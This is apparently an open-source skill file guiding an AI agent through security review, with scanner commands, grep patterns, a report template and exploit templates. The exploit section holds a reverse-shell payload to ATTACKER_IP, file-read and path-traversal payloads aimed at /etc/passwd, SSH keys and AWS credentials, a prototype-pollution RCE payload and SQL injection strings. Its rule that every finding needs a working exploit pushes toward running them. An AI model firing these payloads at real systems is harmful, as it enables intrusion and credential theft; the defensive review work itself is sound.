Security Review

Security Review & Exploit Development

Overview

Systematic security review using automated tools AND manual analysis, with working proof-of-concept exploits for every finding. No vulnerability is confirmed until exploited.

The Iron Law

NO FINDING WITHOUT A WORKING EXPLOIT

Suspecting a vulnerability is worthless. You must prove exploitation.

Workflow

digraph security_review {
    "Start review" [shape=doublecircle];
    "Run automated scanners" [shape=box];
    "Manual code review" [shape=box];
    "Vulnerability found?" [shape=diamond];
    "Write exploit PoC" [shape=box];
    "Exploit works?" [shape=diamond];
    "Document with severity" [shape=box];
    "Mark as false positive" [shape=box];
    "More to review?" [shape=diamond];
    "Generate report" [shape=doublecircle];

    "Start review" -> "Run automated scanners";
    "Run automated scanners" -> "Manual code review";
    "Manual code review" -> "Vulnerability found?";
    "Vulnerability found?" -> "Write exploit PoC" [label="yes"];
    "Vulnerability found?" -> "More to review?" [label="no"];
    "Write exploit PoC" -> "Exploit works?";
    "Exploit works?" -> "Document with severity" [label="yes"];
    "Exploit works?" -> "Mark as false positive" [label="no"];
    "Document with severity" -> "More to review?";
    "Mark as false positive" -> "More to review?";
    "More to review?" -> "Vulnerability found?" [label="yes"];
    "More to review?" -> "Generate report" [label="no"];
}

Phase 1: Automated Scanning

Run ALL applicable tools. Don't skip tools because "manual review is enough."

Static Analysis (SAST)

# Opengrep - Multi-language SAST (preferred over semgrep)
opengrep scan --config=auto --config=p/security-audit --config=p/owasp-top-ten .

# Bandit - Python security linter
bandit -r . -f json -o bandit-report.json

# ast-grep - Custom pattern matching (write rules for project-specific issues)
ast-grep scan --rule security-rules/

# ESLint security plugin (JS/TS)
npx eslint --plugin security --rule 'security/detect-child-process: error' .

# Gosec - Go security checker
gosec -fmt=json -out=gosec-report.json ./...

Dependency Scanning (SCA)

# Trivy - Comprehensive vulnerability scanner
trivy fs --scanners vuln,secret,misconfig .

# Grype - Fast vulnerability scanner
grype dir:. -o json > grype-report.json

# pip-audit - Python dependencies
pip-audit --format=json -o pip-audit.json

# npm audit - Node.js dependencies
npm audit --json > npm-audit.json

# govulncheck - Go dependencies
govulncheck ./...

Secret Detection

# Gitleaks - Find secrets in git history
gitleaks detect --source . --report-path gitleaks-report.json

# Trufflehog - Deep secret scanning
trufflehog filesystem . --json > trufflehog-report.json

Container/Infrastructure

# Trivy for containers
trivy image --severity HIGH,CRITICAL 

# Checkov for IaC
checkov -d . --framework terraform,kubernetes,dockerfile

Phase 2: Manual Code Review

Focus on these vulnerability categories in order of severity:

Critical: Injection Vulnerabilities

| Type | Pattern to Find | Grep Command | |------|-----------------|--------------| | Command Injection | exec, spawn, system, eval | grep -rn "exec\|spawn\|system\|eval\|Function(" --include="*.ts" --include="*.js" | | SQL Injection | String concatenation in queries | grep -rn "query.*\+" --include="*.ts" | | Path Traversal | readFile, resolve without validation | grep -rn "readFileSync\|readFile\|resolve" --include="*.ts" | | Template Injection | User input in templates | grep -rn "render\|template" --include="*.ts" |

High: Authentication/Authorization

| Type | Pattern to Find | |------|-----------------| | Missing auth checks | Routes without middleware | | Hardcoded credentials | password, secret, key in code | | Weak crypto | md5, sha1, Math.random |

Medium: Data Exposure

| Type | Pattern to Find | |------|-----------------| | Sensitive data in logs | console.log, logger with user data | | Error message leakage | Full stack traces returned to client | | Insecure storage | Credentials in config files |

Phase 3: Exploit Development

Every vulnerability MUST have a working exploit.

Command Injection Exploit Template

// exploit-cmd-injection.ts
import { execSync } from 'child_process'

const VULNERABLE_ENDPOINT = 'http://localhost:3000/api/diff'

// Test payloads - escalate from detection to impact
const payloads = [
  // Detection: Does injection work?
  { input: '$(echo VULNERABLE)', detect: 'VULNERABLE' },

  // Information gathering
  { input: '$(whoami)', detect: /\w+/ },
  { input: '$(id)', detect: /uid=/ },

  // File read
  { input: '$(cat /etc/passwd)', detect: 'root:' },

  // Reverse shell (for authorized pentests only)
  { input: '$(bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1)', detect: null },
]

async function exploit() {
  for (const { input, detect } of payloads) {
    const response = await fetch(VULNERABLE_ENDPOINT, {
      method: 'POST',
      body: JSON.stringify({ files: [input] }),
    })
    const result = await response.text()

    if (detect && result.match(detect)) {
      console.log(`[+] Payload worked: ${input}`)
      console.log(`[+] Output: ${result}`)
    }
  }
}

Path Traversal Exploit Template

// exploit-path-traversal.ts
const traversalPayloads = [
  '../../../etc/passwd',
  '....//....//....//etc/passwd',
  '/etc/passwd',
  '/proc/self/environ',  // Leaks environment variables
  '/home/user/.ssh/id_rsa',
  '/home/user/.aws/credentials',
]

async function exploitPathTraversal(endpoint: string) {
  for (const payload of traversalPayloads) {
    const response = await fetch(endpoint, {
      method: 'POST',
      body: JSON.stringify({ files: [payload] }),
    })
    const result = await response.text()

    if (result.includes('root:') || result.includes('AWS_')) {
      console.log(`[+] Path traversal successful: ${payload}`)
      return result
    }
  }
}

Dependency Exploit Template

// exploit-dependency.ts
// When a vulnerable dependency is found, search for:
// 1. Public exploits: searchsploit, exploit-db, GitHub
// 2. CVE details for exploitation steps

// Example: Exploiting known prototype pollution
const payload = {
  "__proto__": { "admin": true }
}

// Example: Exploiting known RCE in library
const rcePayload = {
  "constructor": {
    "prototype": {
      "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x"
    }
  }
}

SQL Injection Exploit Template

// exploit-sqli.ts
const sqlPayloads = [
  // Detection
  "' OR '1'='1",
  "1; SELECT 1--",

  // Union-based extraction
  "' UNION SELECT username,password FROM users--",

  // Time-based blind
  "'; WAITFOR DELAY '0:0:5'--",
  "' AND SLEEP(5)--",

  // Error-based extraction
  "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--",
]

Phase 4: Severity Classification

| Severity | Criteria | Examples | |----------|----------|----------| | Critical | RCE, full system compromise, auth bypass | Command injection, SQL injection with admin access | | High | Significant data breach, privilege escalation | Path traversal to sensitive files, IDOR | | Medium | Limited data exposure, DoS | Error message leakage, resource exhaustion | | Low | Minor information disclosure | Version disclosure, missing headers |

Report Template

## Finding: [Vulnerability Name]

**Severity:** Critical/High/Medium/Low
**Location:** `file.ts:42`
**CWE:** CWE-XXX

### Description
[What is the vulnerability and why it's dangerous]

### Vulnerable Code
```typescript
// The vulnerable code snippet

Proof of Concept

# Command to exploit
curl -X POST http://target/api -d '{"payload": "$(id)"}'

Result:

uid=1000(user) gid=1000(user) groups=1000(user)

Impact

• What an attacker can achieve
• Data at risk
• Business impact

Remediation

// Fixed code

References

• CVE-XXXX-XXXXX
• OWASP reference

## Tool Installation

```bash
# Install all security tools
pip install opengrep bandit pip-audit
npm install -g eslint eslint-plugin-security
go install github.com/securego/gosec/v2/cmd/gosec@latest
go install golang.org/x/vuln/cmd/govulncheck@latest

# Trivy
brew install trivy  # macOS
# or: curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

# Grype
brew install grype  # macOS
# or: curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh

# Gitleaks
brew install gitleaks  # macOS
# or: go install github.com/gitleaks/gitleaks/v8@latest

# ast-grep
npm install -g @ast-grep/cli

Red Flags - STOP

If you find yourself thinking:

• "This looks suspicious but I'll note it without testing" - STOP. Write exploit first.
• "Manual review is enough, tools are overkill" - STOP. Run the tools.
• "The exploit is obvious, I don't need to verify" - STOP. Execute and prove it.
• "I'll skip dependency scanning, code review covers it" - STOP. Run SCA tools.

Quick Reference

| Tool | Purpose | Command | |------|---------|---------| | opengrep | SAST multi-language | opengrep scan --config=auto . | | bandit | Python SAST | bandit -r . | | trivy | Vuln + secrets | trivy fs . | | grype | Dependency vulns | grype dir:. | | gitleaks | Secret detection | gitleaks detect --source . | | govulncheck | Go dependencies | govulncheck ./... | | pip-audit | Python deps | pip-audit | | npm audit | Node deps | npm audit | | ast-grep | Custom patterns | ast-grep scan |

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

• Author: Dilaz
• Source: Dilaz/security-review-skill
• License: MIT

Install and usage instructions live in the source repository linked above.